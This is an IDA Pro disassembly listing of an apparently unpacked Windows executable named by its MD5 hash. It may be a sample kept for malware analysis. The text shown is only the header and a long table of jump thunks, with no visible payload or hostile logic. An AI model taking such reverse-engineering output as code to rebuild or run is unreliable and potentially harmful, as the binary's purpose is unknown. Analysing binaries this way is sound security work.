;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : C1D7CC8D6DBB40A9EFE3721D7E01ED19
; File Name : u:\work\c1d7cc8d6dbb40a9efe3721d7e01ed19_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00110000 (1114112.)
; Section size in file : 00110000 (1114112.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
___ segment para public 'CODE' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
db 5 dup(0CCh)
; ---------------------------------------------------------------------------
jmp loc_42F630
; ---------------------------------------------------------------------------
loc_40100A: ; DATA XREF: ___:off_43E09Co
jmp loc_412CB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40100F proc near ; CODE XREF: sub_421AF0+29p
jmp sub_422050
sub_40100F endp
; ---------------------------------------------------------------------------
jmp loc_431250
; ---------------------------------------------------------------------------
jmp loc_420DA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40101E proc near ; CODE XREF: ___:004118E3p
jmp sub_411910
sub_40101E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401023 proc near ; CODE XREF: ___:0040B1BDp
; ___:0040B1CAp ...
jmp sub_403C00
sub_401023 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401028 proc near ; CODE XREF: sub_41FA90+34p
jmp sub_40B000
sub_401028 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40102D proc near ; CODE XREF: sub_404C70+619p
; sub_404C70+6D8p ...
jmp sub_40A030
sub_40102D endp
; ---------------------------------------------------------------------------
jmp sub_42A100
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401037 proc near ; CODE XREF: sub_413510+3Bp
; ___:00414B30p
jmp sub_4155E0
sub_401037 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40103C proc near ; CODE XREF: sub_42F840+6Ep
; sub_42F840+8Ap ...
jmp sub_432FE0
sub_40103C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401041 proc near ; CODE XREF: ___:0042EF22p
; sub_42F840+3Fp ...
jmp sub_432E60
sub_401041 endp
; ---------------------------------------------------------------------------
jmp loc_423940
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40104B proc near
jmp sub_40D130
sub_40104B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401050 proc near ; CODE XREF: sub_40B000+3Ap
; sub_40B070+1Ap
jmp sub_432980
sub_401050 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401055 proc near ; CODE XREF: sub_41E660+37Bp
jmp sub_421C30
sub_401055 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105A proc near ; CODE XREF: sub_40C0C0+8p
jmp sub_40C280
sub_40105A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105F proc near ; CODE XREF: sub_431900+5Ap
; sub_433710+50p
jmp sub_4318C0
sub_40105F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401064 proc near ; DATA XREF: ___:off_43E07Co
jmp sub_41C610
sub_401064 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401069 proc near ; CODE XREF: ___:00416EAAp
jmp sub_41FBD0
sub_401069 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40106E proc near ; CODE XREF: sub_40BF60+32p
jmp sub_40C120
sub_40106E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401073 proc near ; CODE XREF: ___:00416EBAp
jmp sub_418290
sub_401073 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401078 proc near ; CODE XREF: sub_415830+5Ep
; sub_416280+32p
jmp sub_4161C0
sub_401078 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40107D proc near ; CODE XREF: sub_41E660+161p
; sub_4223E0+3p
jmp sub_421A50
sub_40107D endp
; ---------------------------------------------------------------------------
jmp loc_41ACE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40108C proc near ; CODE XREF: sub_421C30+3p
; ___:00421FFFp ...
jmp sub_422170
sub_40108C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401091 proc near ; CODE XREF: sub_40C400+43p
jmp sub_40CAD0
sub_401091 endp
; ---------------------------------------------------------------------------
jmp sub_427FF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40109B proc near ; CODE XREF: sub_407570+Ap
jmp sub_407610
sub_40109B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A0 proc near ; CODE XREF: sub_4245F0+23p
; sub_424790+6p ...
jmp sub_424500
sub_4010A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A5 proc near ; CODE XREF: sub_430C00+F5p
; sub_430C00+14Fp
jmp sub_432DF0
sub_4010A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AA proc near ; CODE XREF: sub_4331D0+C8p
jmp sub_430990
sub_4010AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AF proc near ; DATA XREF: ___:0043E174o
jmp sub_429DC0
sub_4010AF endp
; ---------------------------------------------------------------------------
loc_4010B4: ; DATA XREF: ___:off_43E0A0o
jmp loc_41E2C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010B9 proc near ; CODE XREF: sub_418330+D0p
; sub_418490+2Dp
jmp sub_418A20
sub_4010B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010BE proc near ; CODE XREF: sub_40FF60+8D9p
; sub_40FF60+990p ...
jmp sub_411860
sub_4010BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C3 proc near ; CODE XREF: ___:0042F336p
; ___:0042F3A4p ...
jmp sub_430F00
sub_4010C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C8 proc near ; CODE XREF: sub_421D50+9p
; sub_422240+18p
jmp sub_4223C0
sub_4010C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010CD proc near ; CODE XREF: sub_40A9F0+58p
; sub_40A9F0+82p ...
jmp sub_40ABE0
sub_4010CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010D2 proc near ; CODE XREF: sub_422A40+3F1p
; ___:00423AA6p ...
jmp sub_419AE0
sub_4010D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010D7 proc near ; CODE XREF: sub_416010+7p
jmp sub_416640
sub_4010D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010DC proc near ; CODE XREF: sub_415520+4Fp
; sub_415E70+11p ...
jmp sub_4160C0
sub_4010DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010E1 proc near ; CODE XREF: sub_429C30+58p
jmp sub_429AA0
sub_4010E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010E6 proc near ; CODE XREF: sub_421870+1Fp
jmp sub_421CB0
sub_4010E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010EB proc near ; CODE XREF: sub_421FB0+11p
; ___:00421FD7p ...
jmp sub_4224D0
sub_4010EB endp
; ---------------------------------------------------------------------------
jmp loc_413D60
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010F5 proc near ; CODE XREF: sub_421A30+3p
; ___:00421D9Fp ...
jmp sub_421F10
sub_4010F5 endp
; ---------------------------------------------------------------------------
jmp loc_414400
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010FF proc near ; CODE XREF: sub_426F20+3p
jmp sub_426F50
sub_4010FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401104 proc near ; CODE XREF: sub_415A00+11p
; ___:00415A27p ...
jmp sub_416470
sub_401104 endp
; ---------------------------------------------------------------------------
jmp loc_433310
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40110E proc near ; CODE XREF: sub_421B60+5p
; sub_421C50+6p ...
jmp sub_422150
sub_40110E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401113 proc near ; CODE XREF: ___:00416A5Bp
; ___:00439F5Ej ...
jmp sub_417A60
sub_401113 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401118 proc near ; CODE XREF: sub_404C70+6Ap
; sub_404C70+1AFp ...
jmp sub_412970
sub_401118 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40111D proc near ; DATA XREF: ___:off_43E074o
jmp sub_4192C0
sub_40111D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401122 proc near ; CODE XREF: sub_431A20+6p
; ___:00431A33p ...
jmp sub_42F480
sub_401122 endp
; ---------------------------------------------------------------------------
jmp loc_42E3D0
; ---------------------------------------------------------------------------
loc_40112C: ; DATA XREF: ___:off_43E15Co
jmp loc_429A30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401131 proc near ; CODE XREF: ___:00423C9Dp
jmp sub_423760
sub_401131 endp
; ---------------------------------------------------------------------------
jmp loc_431F50
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40113B proc near ; CODE XREF: ___:004150A8p
jmp sub_415990
sub_40113B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401140 proc near ; CODE XREF: sub_41B950+F7p
; sub_41B950+10Bp ...
jmp sub_409EA0
sub_401140 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401145 proc near ; CODE XREF: sub_409910+Ap
jmp sub_409A00
sub_401145 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114A proc near ; CODE XREF: sub_4133D0+55p
; sub_4133D0+94p ...
jmp sub_415770
sub_40114A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114F proc near ; CODE XREF: sub_425020+183p
jmp sub_4235F0
sub_40114F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401154 proc near ; CODE XREF: ___:00414BBEp
jmp sub_415520
sub_401154 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401159 proc near ; CODE XREF: sub_427600+3p
jmp sub_427630
sub_401159 endp
; ---------------------------------------------------------------------------
loc_40115E: ; DATA XREF: ___:off_43E038o
jmp loc_4118E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401163 proc near ; CODE XREF: sub_415DD0+11p
; ___:00415DF7p ...
jmp sub_4165F0
sub_401163 endp
; ---------------------------------------------------------------------------
jmp loc_41D730
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40116D proc near ; CODE XREF: sub_418B10+23p
; sub_418D80+11p
jmp sub_418E60
sub_40116D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401172 proc near ; CODE XREF: sub_418A90+3p
; sub_418E90+54p ...
jmp sub_418CE0
sub_401172 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401177 proc near ; CODE XREF: sub_409600+6Ap
; sub_409600+103p
jmp sub_4098A0
sub_401177 endp
; ---------------------------------------------------------------------------
jmp loc_432840
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401181 proc near ; CODE XREF: ___:00413D7Dp
jmp sub_413B70
sub_401181 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401186 proc near ; CODE XREF: ___:0041A1E4p
jmp sub_41AFE0
sub_401186 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40118B proc near ; CODE XREF: sub_4133D0+88p
; sub_4147D0+BFp ...
jmp sub_415930
sub_40118B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401190 proc near ; CODE XREF: sub_42F480+7p
; sub_42F4F0+19p ...
jmp sub_4338B0
sub_401190 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401195 proc near
jmp sub_40DB10
sub_401195 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40119A proc near ; CODE XREF: ___:004310AAp
jmp sub_430A50
sub_40119A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40119F proc near ; CODE XREF: sub_4071E0+11p
; sub_407370+1Fp
jmp sub_407410
sub_40119F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A4 proc near ; CODE XREF: sub_4036D0+3B5p
; sub_4036D0+3C5p ...
jmp sub_403E00
sub_4011A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A9 proc near ; CODE XREF: sub_421C10+3p
jmp sub_422190
sub_4011A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011AE proc near ; CODE XREF: sub_40C250+Ap
jmp sub_40C310
sub_4011AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011B3 proc near ; CODE XREF: sub_4036D0+1Dp
; sub_407030+1Fp ...
jmp sub_403C70
sub_4011B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011B8 proc near ; CODE XREF: ___:00413274p
; ___:0043998Cj ...
jmp sub_4153B0
sub_4011B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011BD proc near ; CODE XREF: sub_42B350+3p
jmp sub_42B380
sub_4011BD endp
; ---------------------------------------------------------------------------
jmp loc_40AF00
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011C7 proc near ; CODE XREF: ___:00414BCDp
jmp sub_414C70
sub_4011C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011CC proc near ; CODE XREF: sub_407610+7p
; sub_409A00+7p ...
jmp sub_407640
sub_4011CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D1 proc near ; CODE XREF: sub_413510+73p
; ___:00414B6Dp ...
jmp sub_415600
sub_4011D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D6 proc near ; CODE XREF: sub_41E660+58p
jmp sub_420530
sub_4011D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011DB proc near ; CODE XREF: sub_413DA0+84p
jmp sub_4137E0
sub_4011DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E0 proc near ; CODE XREF: ___:00432428p
jmp sub_42FD70
sub_4011E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E5 proc near ; CODE XREF: sub_4074C0+8p
jmp sub_4075A0
sub_4011E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011EA proc near ; CODE XREF: sub_404C70+9Fp
; sub_404C70+230p ...
jmp sub_40A430
sub_4011EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011EF proc near ; CODE XREF: sub_40A790+21p
; sub_40A9F0+A5p
jmp sub_40A9D0
sub_4011EF endp
; ---------------------------------------------------------------------------
jmp loc_40AF70
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011F9 proc near ; CODE XREF: sub_40A430+129p
; sub_40A810+4p ...
jmp sub_40A7E0
sub_4011F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011FE proc near ; DATA XREF: ___:off_43E0DCo
jmp sub_426650
sub_4011FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401203 proc near ; CODE XREF: ___:004322BDp
jmp sub_42FA70
sub_401203 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401208 proc near ; CODE XREF: sub_4072F0+3p
; ___:004073BFp ...
jmp sub_407480
sub_401208 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40120D proc near ; CODE XREF: sub_41D830+346p
; sub_41D830+410p ...
jmp sub_421870
sub_40120D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401212 proc near ; CODE XREF: sub_421AB0+11p
; sub_421FB0+1Fp
jmp sub_4220E0
sub_401212 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401217 proc near ; CODE XREF: sub_42B4F0+3p
jmp sub_42B520
sub_401217 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40121C proc near
jmp sub_407790
sub_40121C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401221 proc near ; CODE XREF: sub_40C120+5Fp
jmp sub_40C2F0
sub_401221 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401226 proc near ; CODE XREF: sub_4034E0+F6p
; sub_4034E0+12Ep ...
jmp sub_409C30
sub_401226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40122B proc near ; CODE XREF: sub_41E660+113p
; sub_41E660+124p
jmp sub_421A30
sub_40122B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401230 proc near ; DATA XREF: ___:0043E060o
jmp sub_41F860
sub_401230 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401235 proc near ; CODE XREF: ___:00416AFBp
; ___:00439ED2j ...
jmp sub_4176B0
sub_401235 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40123A proc near ; CODE XREF: sub_40AEC0+Fp
jmp sub_42FF50
sub_40123A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40123F proc near ; CODE XREF: sub_418B10+32p
jmp sub_418D80
sub_40123F endp
; ---------------------------------------------------------------------------
jmp loc_433570
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401249 proc near ; CODE XREF: sub_415420+5p
; sub_415620+6p ...
jmp sub_416030
sub_401249 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40124E proc near ; CODE XREF: sub_40BCB0+29p
; sub_40BDD0+29p
jmp sub_40BF60
sub_40124E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401253 proc near ; CODE XREF: sub_41E660+3E9p
; ___:0043B1ABj
jmp sub_421AF0
sub_401253 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401258 proc near ; CODE XREF: sub_4144D0+BFp
jmp sub_415210
sub_401258 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40125D proc near ; CODE XREF: sub_4164E0+Ap
jmp sub_416820
sub_40125D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401262 proc near ; CODE XREF: ___:00416B67p
; ___:00439E73j ...
jmp sub_416FB0
sub_401262 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401267 proc near
jmp sub_418330
sub_401267 endp
; ---------------------------------------------------------------------------
jmp sub_416C30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401271 proc near ; CODE XREF: ___:00416E1Fp
jmp sub_417FD0
sub_401271 endp
; ---------------------------------------------------------------------------
jmp loc_414690
; ---------------------------------------------------------------------------
jmp loc_42F030
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401280 proc near ; CODE XREF: sub_40FF60+387p
; sub_41EF30+21Dp ...
jmp sub_41B6E0
sub_401280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401285 proc near ; CODE XREF: ___:00416E5Ap
jmp sub_418180
sub_401285 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40128A proc near ; CODE XREF: sub_409490+8p
jmp sub_4094E0
sub_40128A endp
; ---------------------------------------------------------------------------
jmp loc_429A30
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401294 proc near ; CODE XREF: sub_409600+A5p
; sub_412BC0+21p
jmp sub_409810
sub_401294 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401299 proc near ; CODE XREF: sub_404C70+385p
; sub_41D830+5AAp
jmp sub_41C030
sub_401299 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40129E proc near ; CODE XREF: ___:00416D6Fp
jmp sub_4036D0
sub_40129E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A3 proc near ; CODE XREF: sub_418BC0+23p
; sub_418E90+11p
jmp sub_418FE0
sub_4012A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A8 proc near ; CODE XREF: sub_424840+Cp
; sub_424840+3Ep ...
jmp sub_424330
sub_4012A8 endp
; ---------------------------------------------------------------------------
jmp loc_42F670
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B2 proc near ; CODE XREF: sub_404C70+860p
; sub_404C70+ADCp ...
jmp sub_40A290
sub_4012B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B7 proc near ; CODE XREF: ___:0042EB16p
; ___:0042EB66p ...
jmp sub_431490
sub_4012B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012BC proc near ; CODE XREF: sub_41E660+367p
; sub_41E660+3D4p ...
jmp sub_421C80
sub_4012BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C1 proc near ; DATA XREF: sub_426A60+107o
jmp sub_426CE0
sub_4012C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C6 proc near ; CODE XREF: sub_424720+18p
; sub_424760+Ap ...
jmp sub_4246D0
sub_4012C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012CB proc near ; CODE XREF: sub_416120+9p
; sub_4161C0+18p
jmp sub_4167D0
sub_4012CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012D0 proc near ; DATA XREF: sub_431280+32o
jmp sub_431A80
sub_4012D0 endp
; ---------------------------------------------------------------------------
jmp loc_42EB60
; ---------------------------------------------------------------------------
jmp loc_419BB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012DF proc near ; CODE XREF: sub_429AA0+67p
jmp sub_41FEF0
sub_4012DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4012E4 proc near ; CODE XREF: ___:0042EEF8p
; sub_42F0B0+2p ...
jmp sub_430270
sub_4012E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012E9 proc near ; CODE XREF: sub_413670+3Fp
; sub_4144D0+40p ...
jmp sub_415160
sub_4012E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012EE proc near ; CODE XREF: sub_404640+19Fp
; sub_404640+212p ...
jmp sub_409EF0
sub_4012EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F3 proc near ; CODE XREF: sub_424E90+B5p
; sub_424E90+F1p
jmp sub_424E20
sub_4012F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F8 proc near ; CODE XREF: sub_425020+127p
jmp sub_424E90
sub_4012F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012FD proc near ; CODE XREF: ___:00416E3Ap
jmp sub_418080
sub_4012FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401302 proc near ; CODE XREF: ___:00416E0Fp
jmp sub_417F10
sub_401302 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401307 proc near ; CODE XREF: sub_4303D0+1p
jmp sub_430460
sub_401307 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40130C proc near ; CODE XREF: ___:00425F11p
jmp sub_426450
sub_40130C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401311 proc near ; CODE XREF: sub_418330+71p
; sub_418330+BBp ...
jmp sub_4189F0
sub_401311 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401316 proc near ; CODE XREF: sub_40A0A0+7p
jmp sub_40A0C0
sub_401316 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40131B proc near ; CODE XREF: ___:004316D8p
; sub_431730+2Bp
jmp sub_431900
sub_40131B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401320 proc near ; CODE XREF: sub_431280+1p
jmp sub_4314C0
sub_401320 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401325 proc near ; CODE XREF: sub_4207E0+37Bp
jmp sub_421BD0
sub_401325 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40132A proc near ; CODE XREF: sub_414360+5Bp
jmp sub_415030
sub_40132A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40132F proc near ; CODE XREF: sub_4153B0+29p
; sub_4154D0+29p
jmp sub_415F30
sub_40132F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401334 proc near ; CODE XREF: ___:00435F42p
; ___:00435F52p ...
jmp sub_435E00
sub_401334 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401339 proc near ; CODE XREF: sub_4133D0+5Fp
; sub_4133D0+9Ep ...
jmp sub_415960
sub_401339 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40133E proc near ; CODE XREF: sub_40B520+62p
; ___:0040B9E8p ...
jmp sub_40BE60
sub_40133E endp
; ---------------------------------------------------------------------------
jmp loc_4300C0
; ---------------------------------------------------------------------------
jmp loc_42EC40
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40134D proc near ; DATA XREF: ___:0043E1A8o
jmp sub_42B3A0
sub_40134D endp
; ---------------------------------------------------------------------------
jmp loc_42B2E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401357 proc near ; CODE XREF: sub_416090+8p
jmp sub_4166B0
sub_401357 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40135C proc near ; CODE XREF: sub_4133D0+71p
; sub_4133D0:loc_41349Cp ...
jmp sub_415910
sub_40135C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401361 proc near ; CODE XREF: sub_418330+AFp
; sub_418FE0+3p
jmp sub_418AB0
sub_401361 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401366 proc near ; DATA XREF: ___:0043E104o
jmp sub_426A60
sub_401366 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40136B proc near ; CODE XREF: sub_40B520+39p
; sub_40B520+78p ...
jmp sub_40BE90
sub_40136B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401370 proc near ; CODE XREF: sub_4257A0+29p
; sub_4257A0+38p
jmp sub_4256B0
sub_401370 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401375 proc near ; CODE XREF: sub_41A500+1Cp
jmp sub_41A540
sub_401375 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40137A proc near ; DATA XREF: ___:0043E164o
jmp sub_429C30
sub_40137A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40137F proc near ; CODE XREF: ___:00408BD9p
; ___:00414481p
jmp sub_414230
sub_40137F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401384 proc near ; CODE XREF: sub_418490+72p
jmp sub_406C30
sub_401384 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401389 proc near ; CODE XREF: sub_409D20+7p
; sub_409E70+7p ...
jmp sub_40A700
sub_401389 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40138E proc near ; DATA XREF: ___:off_43E080o
jmp sub_422A40
sub_40138E endp
; ---------------------------------------------------------------------------
jmp loc_413AE0
; ---------------------------------------------------------------------------
jmp sub_42B350
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40139D proc near ; CODE XREF: sub_418900+11p
; sub_421CB0+1Fp
jmp sub_418C50
sub_40139D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B2D0
loc_4013A2: ; CODE XREF: sub_42B2D0+3j
jmp sub_42A810
; END OF FUNCTION CHUNK FOR sub_42B2D0
; ---------------------------------------------------------------------------
jmp sub_42B4F0
; ---------------------------------------------------------------------------
jmp loc_42EBB0
; ---------------------------------------------------------------------------
jmp loc_414A60
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013B6 proc near ; CODE XREF: sub_407290+1Fp
jmp sub_407370
sub_4013B6 endp
; ---------------------------------------------------------------------------
jmp loc_42E7B0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013C0 proc near ; CODE XREF: sub_40FD70+3p
; ___:00416AEBp ...
jmp sub_40FDA0
sub_4013C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013C5 proc near ; CODE XREF: sub_425270+Cp
; sub_4253E0+Ap ...
jmp sub_425230
sub_4013C5 endp
; ---------------------------------------------------------------------------
